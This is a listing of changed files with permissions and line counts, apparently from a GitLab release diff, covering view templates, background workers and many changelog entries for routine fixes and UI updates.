-rw-r--r--app/views/shared/_recaptcha_form.html.haml2
-rw-r--r--app/views/shared/_search_settings.html.haml7
-rw-r--r--app/views/shared/access_tokens/_form.html.haml4
-rw-r--r--app/views/shared/access_tokens/_table.html.haml2
-rw-r--r--app/views/shared/admin/_admin_note.html.haml7
-rw-r--r--app/views/shared/admin/_admin_note_form.html.haml6
-rw-r--r--app/views/shared/blob/_markdown_buttons.html.haml2
-rw-r--r--app/views/shared/boards/_show.html.haml22
-rw-r--r--app/views/shared/boards/components/_sidebar.html.haml2
-rw-r--r--app/views/shared/deploy_tokens/_form.html.haml10
-rw-r--r--app/views/shared/deploy_tokens/_revoke_modal.html.haml15
-rw-r--r--app/views/shared/deploy_tokens/_table.html.haml5
-rw-r--r--app/views/shared/doorkeeper/applications/_delete_form.html.haml10
-rw-r--r--app/views/shared/doorkeeper/applications/_form.html.haml26
-rw-r--r--app/views/shared/doorkeeper/applications/_index.html.haml88
-rw-r--r--app/views/shared/doorkeeper/applications/_show.html.haml39
-rw-r--r--app/views/shared/empty_states/_issues.html.haml4
-rw-r--r--app/views/shared/empty_states/_profile_tabs.html.haml2
-rw-r--r--app/views/shared/empty_states/_wikis.html.haml4
-rw-r--r--app/views/shared/form_elements/_description.html.haml7
-rw-r--r--app/views/shared/hook_logs/_content.html.haml4
-rw-r--r--app/views/shared/integrations/_index.html.haml28
-rw-r--r--app/views/shared/issuable/_approved_by_dropdown.html.haml4
-rw-r--r--app/views/shared/issuable/_board_create_list_dropdown.html.haml2
-rw-r--r--app/views/shared/issuable/_bulk_update_sidebar.html.haml2
-rw-r--r--app/views/shared/issuable/_form.html.haml28
-rw-r--r--app/views/shared/issuable/_invite_members_trigger.html.haml8
-rw-r--r--app/views/shared/issuable/_nav.html.haml2
-rw-r--r--app/views/shared/issuable/_search_bar.html.haml72
-rw-r--r--app/views/shared/issuable/_sidebar.html.haml46
-rw-r--r--app/views/shared/issuable/_sidebar_assignees.html.haml12
-rw-r--r--app/views/shared/issuable/_sort_dropdown.html.haml2
-rw-r--r--app/views/shared/issuable/_user_dropdown_item.html.haml2
-rw-r--r--app/views/shared/issuable/form/_type_selector.html.haml44
-rw-r--r--app/views/shared/issue_type/_details_content.html.haml3
-rw-r--r--app/views/shared/issue_type/_details_header.html.haml4
-rw-r--r--app/views/shared/issue_type/_emoji_block.html.haml4
-rw-r--r--app/views/shared/members/_member.html.haml4
-rw-r--r--app/views/shared/milestones/_milestone.html.haml10
-rw-r--r--app/views/shared/milestones/_sidebar.html.haml2
-rw-r--r--app/views/shared/milestones/_tabs.html.haml2
-rw-r--r--app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml14
-rw-r--r--app/views/shared/namespaces/cascading_settings/_lock_popovers.html.haml1
-rw-r--r--app/views/shared/namespaces/cascading_settings/_setting_label.html.haml21
-rw-r--r--app/views/shared/nav/_scope_menu.html.haml6
-rw-r--r--app/views/shared/nav/_sidebar.html.haml14
-rw-r--r--app/views/shared/nav/_sidebar_menu.html.haml27
-rw-r--r--app/views/shared/nav/_sidebar_menu_item.html.haml8
-rw-r--r--app/views/shared/notes/_comment_button.html.haml8
-rw-r--r--app/views/shared/notes/_note.html.haml2
-rw-r--r--app/views/shared/projects/_project.html.haml4
-rw-r--r--app/views/shared/projects/_search_bar.html.haml2
-rw-r--r--app/views/shared/projects/_sort_dropdown.html.haml2
-rw-r--r--app/views/shared/projects/protected_branches/_update_protected_branch.html.haml2
-rw-r--r--app/views/shared/promotions/_promote_servicedesk.html.haml2
-rw-r--r--app/views/shared/runners/_form.html.haml2
-rw-r--r--app/views/shared/runners/_runner_type_alert.html.haml20
-rw-r--r--app/views/shared/runners/_runner_type_badge.html.haml10
-rw-r--r--app/views/shared/runners/show.html.haml15
-rw-r--r--app/views/shared/tokens/_scopes_form.html.haml2
-rw-r--r--app/views/shared/web_hooks/_hook.html.haml6
-rw-r--r--app/views/shared/web_hooks/_test_button.html.haml9
-rw-r--r--app/views/shared/wikis/_form.html.haml79
-rw-r--r--app/views/shared/wikis/history.html.haml2
-rw-r--r--app/views/shared/wikis/pages.html.haml2
-rw-r--r--app/views/sherlock/queries/_general.html.haml4
-rw-r--r--app/views/users/show.html.haml9
-rw-r--r--app/views/users/terms/index.html.haml4
-rw-r--r--app/workers/all_queues.yml128
-rw-r--r--app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb39
-rw-r--r--app/workers/build_finished_worker.rb4
-rw-r--r--app/workers/build_hooks_worker.rb1
-rw-r--r--app/workers/bulk_import_worker.rb13
-rw-r--r--app/workers/bulk_imports/entity_worker.rb49
-rw-r--r--app/workers/bulk_imports/pipeline_worker.rb70
-rw-r--r--app/workers/chaos/kill_worker.rb4
-rw-r--r--app/workers/ci/drop_pipeline_worker.rb16
-rw-r--r--app/workers/ci/initial_pipeline_process_worker.rb22
-rw-r--r--app/workers/ci/merge_requests/add_todo_when_build_fails_worker.rb21
-rw-r--r--app/workers/ci/pipeline_artifacts/expire_artifacts_worker.rb2
-rw-r--r--app/workers/concerns/application_worker.rb2
-rw-r--r--app/workers/concerns/cronjob_queue.rb2
-rw-r--r--app/workers/concerns/each_shard_worker.rb8
-rw-r--r--app/workers/concerns/reactive_cacheable_worker.rb8
-rw-r--r--app/workers/concerns/worker_attributes.rb33
-rw-r--r--app/workers/container_expiration_policy_worker.rb22
-rw-r--r--app/workers/database/batched_background_migration_worker.rb57
-rw-r--r--app/workers/delete_stored_files_worker.rb4
-rw-r--r--app/workers/emails_on_push_worker.rb8
-rw-r--r--app/workers/expire_build_artifacts_worker.rb2
-rw-r--r--app/workers/expire_job_cache_worker.rb2
-rw-r--r--app/workers/expire_pipeline_cache_worker.rb2
-rw-r--r--app/workers/irker_worker.rb3
-rw-r--r--app/workers/merge_requests/assignees_change_worker.rb26
-rw-r--r--app/workers/merge_requests/create_pipeline_worker.rb28
-rw-r--r--app/workers/merge_requests/handle_assignees_change_worker.rb22
-rw-r--r--app/workers/merge_requests/resolve_todos_worker.rb18
-rw-r--r--app/workers/namespaces/in_product_marketing_emails_worker.rb21
-rw-r--r--app/workers/new_issue_worker.rb5
-rw-r--r--app/workers/object_storage/migrate_uploads_worker.rb3
-rw-r--r--app/workers/packages/go/sync_packages_worker.rb33
-rw-r--r--app/workers/packages/rubygems/extraction_worker.rb27
-rw-r--r--app/workers/pages_update_configuration_worker.rb2
-rw-r--r--app/workers/projects/post_creation_worker.rb34
-rw-r--r--app/workers/remove_expired_members_worker.rb21
-rw-r--r--app/workers/ssh_keys/expired_notification_worker.rb25
-rw-r--r--app/workers/ssh_keys/expiring_soon_notification_worker.rb25
-rw-r--r--app/workers/todos_destroyer/destroyed_issuable_worker.rb14
-rw-r--r--app/workers/update_highest_role_worker.rb2
-rwxr-xr-xbin/changelog2
-rwxr-xr-xbin/feature-flag2
-rwxr-xr-xbin/sidekiq-cluster1
-rw-r--r--changelogs/unreleased/12975-the-field-enter-new-password-in-service-templates-pages-should-show.yml5
-rw-r--r--changelogs/unreleased/16119-jira-issue-transition-automatic.yml5
-rw-r--r--changelogs/unreleased/18792-reschedule-background-migration.yml6
-rw-r--r--changelogs/unreleased/20235-add-spent-quick-action-alias.yml5
-rw-r--r--changelogs/unreleased/202423-foreign-key-webhooks-groups.yml5
-rw-r--r--changelogs/unreleased/202423-remove-records-without-group-from-webhooks.yml5
-rw-r--r--changelogs/unreleased/205484-prj-set-ops-1-alert-error-prom-trace.yml6
-rw-r--r--changelogs/unreleased/205484-prj-set-ops-2-grafana.yml5
-rw-r--r--changelogs/unreleased/205484-prj-set-ops-3-incidents.yml5
-rw-r--r--changelogs/unreleased/205484-prj-set-ops-4-metrics.yml5
-rw-r--r--changelogs/unreleased/20759_extract_prometheus_worker.yml5
-rw-r--r--changelogs/unreleased/20827-async-todo-creation-resolution.yml5
-rw-r--r--changelogs/unreleased/20827-handle-assignee-changes-async.yml5
-rw-r--r--changelogs/unreleased/21033-controller-groups-groupmemberscontroller-index-executes-more-than-1.yml5
-rw-r--r--changelogs/unreleased/21034-controller-groups-labelscontroller-index-executes-more-than-100-sql.yml5
-rw-r--r--changelogs/unreleased/21043-fix-more-n-plus-one-queries.yml6
-rw-r--r--changelogs/unreleased/21043-fix-notifications-controller-n-plus-1-queries.yml5
-rw-r--r--changelogs/unreleased/21044-controller-profiles-slackscontroller-edit-executes-more-than-100-sq.yml5
-rw-r--r--changelogs/unreleased/21068-optimize-issueable-updates.yml5
-rw-r--r--changelogs/unreleased/21078-controller-projects-labelscontroller-index-executes-more-than-100-s.yml5
-rw-r--r--changelogs/unreleased/21098-reducing-cancel-sql-queries.yml5
-rw-r--r--changelogs/unreleased/21121-fj-fix-n-1-in-projects-and-service-desk.yml5
-rw-r--r--changelogs/unreleased/21121-fj-fix-n-1-projects-endpoint-forked-projects.yml5
-rw-r--r--changelogs/unreleased/21140-remove-issue-perform-after-creation-tasks-async-feature-flag.yml5
-rw-r--r--changelogs/unreleased/213581-add-fork-button-to-web-ide-alert.yml5
-rw-r--r--changelogs/unreleased/214456-dedup-issues-metrics.yml5
-rw-r--r--changelogs/unreleased/215845-uncheck-delete-source-branch-does-nothing-2.yml5
-rw-r--r--changelogs/unreleased/21762-link-to-a-line.yml5
-rw-r--r--changelogs/unreleased/218252-update-project-overrides-query.yml5
-rw-r--r--changelogs/unreleased/220628-go-proxy-packages.yml5
-rw-r--r--changelogs/unreleased/220647-add-prefix-to-CSS-class-of-syntax-highlighting-blocks.yml5
-rw-r--r--changelogs/unreleased/220680-update-gatsby-project-template.yml5
-rw-r--r--changelogs/unreleased/223238-add-hipaa-logo-for-project-templates.yml5
-rw-r--r--changelogs/unreleased/22336-link-test-report-widget-to-file.yml5
-rw-r--r--changelogs/unreleased/225345-re-add-swap-branches-feature.yml5
-rw-r--r--changelogs/unreleased/22691-externalize-app-views-projects-deploy_keys-edit.yml5
-rw-r--r--changelogs/unreleased/227383-fix-search-n-plus-1.yml5
-rw-r--r--changelogs/unreleased/229076-fix-access-denied-on-ca.yml5
-rw-r--r--changelogs/unreleased/230712-fix-n-1-queries-for-issues-search.yml5
-rw-r--r--changelogs/unreleased/230717-add-mail-smtp-pool-gem.yml5
-rw-r--r--changelogs/unreleased/232811-remove-deprecated-repo-archive-routes.yml5
-rw-r--r--changelogs/unreleased/232887-add-created_at-to-job-webhooks.yml5
-rw-r--r--changelogs/unreleased/232957-include-merge-request-description-or-any-custom-merge-commit-messa.yml5
-rw-r--r--changelogs/unreleased/233431-set-traversal_ids-for-gitlab-org-group.yml5
-rw-r--r--changelogs/unreleased/235524-test-report-widget-usage-ping.yml5
-rw-r--r--changelogs/unreleased/239179-new-model-for-finding-evidence.yml5
-rw-r--r--changelogs/unreleased/244694-replace-gldeprecatedskeletonloading-with-glskeletonloader-in-app-a.yml5
-rw-r--r--changelogs/unreleased/245323-arel-support-for-materialized-cte.yml5
-rw-r--r--changelogs/unreleased/24551-keep-search-param-in-commit-scroll.yml5
-rw-r--r--changelogs/unreleased/247531-composer-source-jsonn.yml5
-rw-r--r--changelogs/unreleased/254280-replace-bootstrap-modal-trigger-in-app-assets-javascripts-blob-blo.yml5
-rw-r--r--changelogs/unreleased/255288-add-a-click-to-copy-link-against-the-project-ID.yml5
-rw-r--r--changelogs/unreleased/25802-fix-user-creation-with-force-random-password.yml5
-rw-r--r--changelogs/unreleased/258678-move-add-issuable-styles-to-core.yml5
-rw-r--r--changelogs/unreleased/259794-members-view-update-revoke-invite-modal-header-and-button.yml5
-rw-r--r--changelogs/unreleased/262086-user-availability-allow-users-to-schedule-un-setting-of-their-stat.yml5
-rw-r--r--changelogs/unreleased/26327-include-whether-an-email-is-verified-in-the-user-emails-api-endpoin.yml5
-rw-r--r--changelogs/unreleased/26522-commit-message-link-line-break.yml5
-rw-r--r--changelogs/unreleased/268207_validate_number_of_recipients_for_email_on_push_service.yml5
-rw-r--r--changelogs/unreleased/270129-conan-project-download-urls-bug.yml6
-rw-r--r--changelogs/unreleased/271505-update-the-status-icons-for-migrating-groups-and-projects.yml5
-rw-r--r--changelogs/unreleased/273034-support-semver-on-generic-packages.yml5
-rw-r--r--changelogs/unreleased/273274-update-issue-buttons.yml5
-rw-r--r--changelogs/unreleased/273283-update-compare-page-button.yml5
-rw-r--r--changelogs/unreleased/273284-update-commit-page-buttons.yml5
-rw-r--r--changelogs/unreleased/273293-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-pipeli.yml6
-rw-r--r--changelogs/unreleased/273297-update-issues-page-buttons.yml5
-rw-r--r--changelogs/unreleased/273300-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-commit.yml5
-rw-r--r--changelogs/unreleased/273306-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-boards.yml6
-rw-r--r--changelogs/unreleased/273311-fy21q4-foundations-kr2-audit-and-update-buttons-on-searchcontrolle.yml5
-rw-r--r--changelogs/unreleased/273313-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-issues.yml5
-rw-r--r--changelogs/unreleased/273325-fy21q4-foundations-kr2-audit-and-update-buttons-on-groups-boardsco.yml5
-rw-r--r--changelogs/unreleased/273726-feature-flag-remove-jira_issues_list.yml5
-rw-r--r--changelogs/unreleased/276948-remove-extra-check-from-api-helpers.yml5
-rw-r--r--changelogs/unreleased/276949-docs-and-default.yml5
-rw-r--r--changelogs/unreleased/27765-403-no-job.yml5
-rw-r--r--changelogs/unreleased/27954-remove-hipchat-project-service.yml5
-rw-r--r--changelogs/unreleased/280781-support-assignee-wildcard-filters-board-issues-graphql.yml5
-rw-r--r--changelogs/unreleased/283893-mr-pipeline-coverage-update.yml5
-rw-r--r--changelogs/unreleased/284116-sync-single-file-mode-user-preference.yml5
-rw-r--r--changelogs/unreleased/285467-package-registry-graphql-api.yml5
-rw-r--r--changelogs/unreleased/287803_fix_dismissed_vulnerabilities_data.yml5
-rw-r--r--changelogs/unreleased/287921-default-global-search-tab-inconsistent.yml5
-rw-r--r--changelogs/unreleased/288004-initialize-events-id-conversion-to-bigint.yml5
-rw-r--r--changelogs/unreleased/288343-show-full-treeview.yml4
-rw-r--r--changelogs/unreleased/290962-rename-event-to-action-in-haml-snowplow-helper.yml5
-rw-r--r--changelogs/unreleased/291012-mark-mr-as-preparing.yml5
-rw-r--r--changelogs/unreleased/292253-track-epic-note-created.yml5
-rw-r--r--changelogs/unreleased/292435_unescape_trucated_search_result.yml5
-rw-r--r--changelogs/unreleased/292698-save-usage_data_id-raw_data_id-we-receive-from-versions-in-raw_usa.yml5
-rw-r--r--changelogs/unreleased/293953_inherit_default_branch_name_for_subgroups.yml5
-rw-r--r--changelogs/unreleased/294025-rollout-search-settings.yml5
-rw-r--r--changelogs/unreleased/294246-replace-runner-status-icons-with-svgs.yml6
-rw-r--r--changelogs/unreleased/295187-roll-out-pages_migration_mark_as_not_deployed-feature-flag.yml6
-rw-r--r--changelogs/unreleased/29572-move-project-hooks-routes.yml5
-rw-r--r--changelogs/unreleased/296882-standalone-shard-replica-settings.yml5
-rw-r--r--changelogs/unreleased/296888-resolve-conflicts-popover-does-not-show.yml5
-rw-r--r--changelogs/unreleased/297240-remove-skip_dag_manual_and_delayed_jobs.yml5
-rw-r--r--changelogs/unreleased/297267-clarify-the-impact-od-selecting-incidents-in-new-issue-form.yml5
-rw-r--r--changelogs/unreleased/297288-add-indeni-cloudrail-template-clean.yml5
-rw-r--r--changelogs/unreleased/298854-gitlab-returns-error-500-when-visiting-admin-area-settings-integra.yml5
-rw-r--r--changelogs/unreleased/299178-follow-up-from-cached-sidebar-issues-count-in-group-sidebar.yml5
-rw-r--r--changelogs/unreleased/299330-limit-license-file-icon.yml5
-rw-r--r--changelogs/unreleased/299346-convert-dropdown-on-commit-page-to-vue.yml5
-rw-r--r--changelogs/unreleased/299685-fix-packages-build-info-when-pushed-with-job-token.yml5
-rw-r--r--changelogs/unreleased/299895-experiment-cleanup-customize_homepage-banner-2.yml5
-rw-r--r--changelogs/unreleased/300021-rollout-serving-migrated-data-feature-flag-pages_serve_from_migrat.yml5
-rw-r--r--changelogs/unreleased/300115-deprecate-issue-filter-asignee-username.yml5
-rw-r--r--changelogs/unreleased/300115-support-negated-issue-filters-gql.yml5
-rw-r--r--changelogs/unreleased/300121-fix-jenkins-ce.yml5
-rw-r--r--changelogs/unreleased/300377-traversal-ids-column-sync.yml5
-rw-r--r--changelogs/unreleased/300403-replace-commit-box-minipipeline-default-true.yml5
-rw-r--r--changelogs/unreleased/300403-replace-commit-box-minipipeline-remove-ff.yml6
-rw-r--r--changelogs/unreleased/300567-okr-integrations-asana-review-and-revise-settings-related-ui-text.yml5
-rw-r--r--changelogs/unreleased/300638-okr-pages-top-level-page-review-and-revise-settings-related-ui-tex.yml5
-rw-r--r--changelogs/unreleased/300827-integration-form-cleanup-part-3.yml5
-rw-r--r--changelogs/unreleased/300884-fix-push-mirror-failures.yml5
-rw-r--r--changelogs/unreleased/301142-replace-namespace-self_and_descendants-with-linear-version.yml5
-rw-r--r--changelogs/unreleased/301159-add-local-storage.yml5
-rw-r--r--changelogs/unreleased/301175-gemfile-extraction-service.yml5
-rw-r--r--changelogs/unreleased/301246-graph-spacing.yml5
-rw-r--r--changelogs/unreleased/31063-ensure-diff-collection-limits-are-configurable.yml5
-rw-r--r--changelogs/unreleased/31343-remove-remaining-unnecessary-use-of-freeze.yml5
-rw-r--r--changelogs/unreleased/31343-remove-unnecessary-use-of-freeze.yml5
-rw-r--r--changelogs/unreleased/31343-remove-unnecessary-use-of-freeze2.yml5
-rw-r--r--changelogs/unreleased/31343-remove-unnecessary-use-of-freeze3.yml5
-rw-r--r--changelogs/unreleased/31343-remove-unnecessary-use-of-freeze4.yml5
-rw-r--r--changelogs/unreleased/31343-remove-unnecessary-use-of-freeze5.yml5
-rw-r--r--changelogs/unreleased/320755-remove-batch_suggestions-feature-flag.yml5
-rw-r--r--changelogs/unreleased/320756-remove-remove_resolve_note-feature-flag.yml5
-rw-r--r--changelogs/unreleased/321027-remove-ci_trigger_payload_into_pipeline.yml5
-rw-r--r--changelogs/unreleased/321099-word-breaks-in-parallel-mode-could-confuse-reviewers.yml5
-rw-r--r--changelogs/unreleased/321100-centralize-invalid-ci-state-in-authoring-section.yml5
-rw-r--r--changelogs/unreleased/321441-gitlab-connect-application-namespace-list-polish.yml5
-rw-r--r--changelogs/unreleased/321518-pipeline_status_for_pipeline_editor.yml5
-rw-r--r--changelogs/unreleased/321662-validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.yml5
-rw-r--r--changelogs/unreleased/321674-allow-to-filter-alert-management-integrations-by-id-take-2.yml6
-rw-r--r--changelogs/unreleased/321788-drop-unused-preload.yml5
-rw-r--r--changelogs/unreleased/321891-change-alert-status.yml5
-rw-r--r--changelogs/unreleased/322001-poc-for-migrating-pages-to-zip-storage-in-the-background.yml5
-rw-r--r--changelogs/unreleased/322043-insert-plan-trial.yml5
-rw-r--r--changelogs/unreleased/322109-add-assignees-widget-to-issue-and-merge-request-sidebar.yml5
-rw-r--r--changelogs/unreleased/322128-update-token-used-field.yml5
-rw-r--r--changelogs/unreleased/322449-write-description.yml5
-rw-r--r--changelogs/unreleased/322592-clean-up-a-token_with_ivs-table.yml6
-rw-r--r--changelogs/unreleased/322745-validate-null-constraint.yml5
-rw-r--r--changelogs/unreleased/322792-switch-branch-of-shorter-name.yml5
-rw-r--r--changelogs/unreleased/322879-change-assignee-dropdown-invite-to-utilize-invite-modal.yml5
-rw-r--r--changelogs/unreleased/322980-fix-sign-out-on-error-pages.yml5
-rw-r--r--changelogs/unreleased/323078-combine-concepts-in-inviting-member-service-classes-3.yml5
-rw-r--r--changelogs/unreleased/323078-combine-concepts-in-inviting-member-service-classes-5.yml5
-rw-r--r--changelogs/unreleased/323195-make-blob-info-available-through-graphql.yml5
-rw-r--r--changelogs/unreleased/323246-registration-learn-gitlab-template-project-with-incorrect-onboardi.yml5
-rw-r--r--changelogs/unreleased/323431_enable_allow_force_push_to_protected_branches_ff.yml5
-rw-r--r--changelogs/unreleased/323433-add-includeancestors-to-group-milestones-graphql.yml5
-rw-r--r--changelogs/unreleased/323483-skip-link-remove-tabindex.yml6
-rw-r--r--changelogs/unreleased/323493-remove-ff-cached-sidebar-open-issues-count.yml5
-rw-r--r--changelogs/unreleased/323548-unify-metrics-definition-yaml-file-in-one-file.yml5
-rw-r--r--changelogs/unreleased/323554-setting-updating-assignees-in-the-graphql-sidebar-doesn-t-update-b.yml5
-rw-r--r--changelogs/unreleased/323577_remove_broken_security_finding_records.yml5
-rw-r--r--changelogs/unreleased/323627-warn-user-is-part-of-oncall-schedule.yml5
-rw-r--r--changelogs/unreleased/323675-cleanup-web-hoo-logs-backfill-migration.yml5
-rw-r--r--changelogs/unreleased/323676-add-fk-to-partitioned-web-hook-logs.yml5
-rw-r--r--changelogs/unreleased/323676-add-index-on-created-at-web-hook-id-to-partitioned-web-hook-logs.yml5
-rw-r--r--changelogs/unreleased/323676-add-index-on-web-hook-id-to-partitioned-web-hook-logs.yml5
-rw-r--r--changelogs/unreleased/323714-add-blob-filename-to-attachment-content-dispostion.yml5
-rw-r--r--changelogs/unreleased/323742-abort-user-pipelines-on-block.yml5
-rw-r--r--changelogs/unreleased/324045-remove-feature-flag.yml5
-rw-r--r--changelogs/unreleased/324100-monitor.yml5
-rw-r--r--changelogs/unreleased/324100-update-default-initial-branch-name.yml5
-rw-r--r--changelogs/unreleased/324105-add-commit-email-to-users-api.yml5
-rw-r--r--changelogs/unreleased/324263-add-a-way-to-filter-search-for-a-namespace.yml5
-rw-r--r--changelogs/unreleased/324288-support-versionless-package-in-maven-sync-worker.yml5
-rw-r--r--changelogs/unreleased/324306-fj-enable-gitaly-find-file-feature-flag.yml5
-rw-r--r--changelogs/unreleased/324600-new-issue-remove-attachment.yml5
-rw-r--r--changelogs/unreleased/324612-tag-not-visible-compare-page.yml5
-rw-r--r--changelogs/unreleased/324646-bulk-fail-with-reason.yml5
-rw-r--r--changelogs/unreleased/324649-prevent-experiments-sticking-to-primary.yml5
-rw-r--r--changelogs/unreleased/324786-update-deprecated-glicon-size-and-remove-use-deprecated-sizes.yml5
-rw-r--r--changelogs/unreleased/324796-update-deprecated-glicon-size-and-remove-use-deprecated-sizes.yml5
-rw-r--r--changelogs/unreleased/324803-covert-has-tooltip-on-commit-page-to-pajamas.yml5
-rw-r--r--changelogs/unreleased/324864-make-it-easy-to-share-a-filtered-view-of-the-registry-2.yml5
-rw-r--r--changelogs/unreleased/325133-todosdestroyer-generates-expensive-sql-queries.yml5
-rw-r--r--changelogs/unreleased/325196-service-template-deprecation-ui-updates.yml5
-rw-r--r--changelogs/unreleased/325196-service-template-deprecation-update.yml5
-rw-r--r--changelogs/unreleased/325280-add-instance_url-to-jira_connect_installations.yml5
-rw-r--r--changelogs/unreleased/325285-rake-pages-deployments.yml5
-rw-r--r--changelogs/unreleased/325285-tmp-index-to-file-store.yml5
-rw-r--r--changelogs/unreleased/325288-send-invited-users-to-correct-page-sign-in-or-sign-up.yml5
-rw-r--r--changelogs/unreleased/325333_optimize_query.yml5
-rw-r--r--changelogs/unreleased/325413-dark-mode-light-colored-branch-indicator-badges-are-hard-to-read.yml5
-rw-r--r--changelogs/unreleased/325429-container-registry-cleanup-policy-wiped-all-images.yml5
-rw-r--r--changelogs/unreleased/325470-optimize-confidentiality-filter-on-issue-finder.yml5
-rw-r--r--changelogs/unreleased/325503-fix-update-all-mirrors-db-performance.yml5
-rw-r--r--changelogs/unreleased/325509-set-namespaces-traversal_ids-for-production-gitlab-org-group.yml5
-rw-r--r--changelogs/unreleased/325605-query-performance-investigation-4458344713234267000-select-merge_r.yml5
-rw-r--r--changelogs/unreleased/325630-cablett-filter-epics-by-reaction-be.yml5
-rw-r--r--changelogs/unreleased/325636-index-namespaces-traversal_ids.yml5
-rw-r--r--changelogs/unreleased/325689-delete-issuable-todos-async.yml5
-rw-r--r--changelogs/unreleased/325691-add-sync_code_onwers_approval_rules_worker.yml5
-rw-r--r--changelogs/unreleased/325803-usage-ping-syntax-errors.yml5
-rw-r--r--changelogs/unreleased/325812-update-the-package-settings-to-use-the-blue-primary-button.yml5
-rw-r--r--changelogs/unreleased/325820-update-validation-trigger.yml5
-rw-r--r--changelogs/unreleased/325824-prettify-sample-json.yml5
-rw-r--r--changelogs/unreleased/325883-do-not-trim-whitespaces.yml5
-rw-r--r--changelogs/unreleased/325884-usage-data-count-start-finish-problems.yml5
-rw-r--r--changelogs/unreleased/325937-fix-notes-n-plus-1.yml5
-rw-r--r--changelogs/unreleased/325991-assignee-dropdown-shows-assignee-s-twice.yml5
-rw-r--r--changelogs/unreleased/326009-remove-unused-index.yml5
-rw-r--r--changelogs/unreleased/326018-handle-missing-instruction-error.yml6
-rw-r--r--changelogs/unreleased/326038-delete-user-modal.yml5
-rw-r--r--changelogs/unreleased/326057-rspec-feature-flag-failure-for-migrate_delayed_project_removal.yml5
-rw-r--r--changelogs/unreleased/326071-fix-security-mr-widget.yml5
-rw-r--r--changelogs/unreleased/326091-appearance-of-badges-admin-runner-table.yml5
-rw-r--r--changelogs/unreleased/326099-enabled-by-default.yml5
-rw-r--r--changelogs/unreleased/326102-deprecate-runner-install-arguments.yml5
-rw-r--r--changelogs/unreleased/326102-fe-cleanup-runner-instructions-project-group-parameters.yml6
-rw-r--r--changelogs/unreleased/326106-correlation-id-to-validation-service.yml5
-rw-r--r--changelogs/unreleased/326117-pages-does-not-work-on-13-10-0.yml5
-rw-r--r--changelogs/unreleased/326197-change-runner-identifiers-job-sidebar-admin-list.yml6
-rw-r--r--changelogs/unreleased/326197-project-runners-identifiers.yml5
-rw-r--r--changelogs/unreleased/326209-fix-find-or-initialize-service-n-1.yml5
-rw-r--r--changelogs/unreleased/326212-controller-projects-hookscontroller-index-executes-more-than-100-s.yml5
-rw-r--r--changelogs/unreleased/326244-incident-sidebar-milestome.yml5
-rw-r--r--changelogs/unreleased/326301-shared-group-members-in-project-cannot-be-selected-as-assignees-in.yml5
-rw-r--r--changelogs/unreleased/326417-small-text-updates-on-sast-config-ui-page.yml5
-rw-r--r--changelogs/unreleased/326475-reducing-sql-queries.yml5
-rw-r--r--changelogs/unreleased/326635-remove-str-truncated-60-class-from-app-views-admin-dashboard-index.yml5
-rw-r--r--changelogs/unreleased/326636-remove-str-truncated-60-class-from-app-views-shared-wikis-history.yml5
-rw-r--r--changelogs/unreleased/326637-index-namespaces-id-and-parent_id.yml5
-rw-r--r--changelogs/unreleased/326653-fix-package-finder-helpers.yml5
-rw-r--r--changelogs/unreleased/326665_enable_projects_post_creation_worker.yml5
-rw-r--r--changelogs/unreleased/326819-check-maven-path.yml5
-rw-r--r--changelogs/unreleased/326995-refer-to-expired-ssh-keys-in-the-past-tense.yml5
-rw-r--r--changelogs/unreleased/327006-fix-search-commits-n-plus-1.yml5
-rw-r--r--changelogs/unreleased/327064-fix-revert-query.yml5
-rw-r--r--changelogs/unreleased/327106-reduce-timeout-on-search-count.yml5
-rw-r--r--changelogs/unreleased/327197-deprecate-redis-4-on-rake-gitlab-check.yml5
-rw-r--r--changelogs/unreleased/327199-consistently-indicate-runner-type-using-the-alert-component.yml5
-rw-r--r--changelogs/unreleased/327593-optimize-user-current-highest-access-level.yml5
-rw-r--r--changelogs/unreleased/327692-package-sort-showing-project-in-the-project-page.yml5
-rw-r--r--changelogs/unreleased/328050-honor-haml-tooltips-delay.yml5
-rw-r--r--changelogs/unreleased/33741-further-optimise-api-v3-github-endpoints.yml5
-rw-r--r--changelogs/unreleased/36783-add-kotlin-support.yml5
-rw-r--r--changelogs/unreleased/56716-remove-commit-message-package-ui.yml5
-rw-r--r--changelogs/unreleased/57073-remove-ff-optimize_issue_filter_assigned_to_self.yml5
-rw-r--r--changelogs/unreleased/57952-Update GIicon in geo_node_header.vue.yml5
-rw-r--r--changelogs/unreleased/58270-fj-fix-graphql-query-and-profile-status.yml5
-rw-r--r--changelogs/unreleased/59202-add-missing-tooltip-to-apply-suggestion-button.yml5
-rw-r--r--changelogs/unreleased/8225-allow-add-discussion-to-review.yml5
-rw-r--r--changelogs/unreleased/9152-check-sso-status-on-git-activity-and-direct-user-to-sso.yml5
-rw-r--r--changelogs/unreleased/92508-enable-not-filters-for-mr-labels-graphql.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-_ip_limits-haml-html.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-_performance-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-_performance_bar-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-_realtime-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-_registry-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-_repository_check-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-abuse_reports-index-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-broadcast_messages-index-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-chat_names-_chat_name-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-groups-_group_admin_settings-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-help-index-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-instance_configuration-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-labels-edit-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-runners-edit-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-services-index-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-shared-_sign_in_link-html-haml.yml5
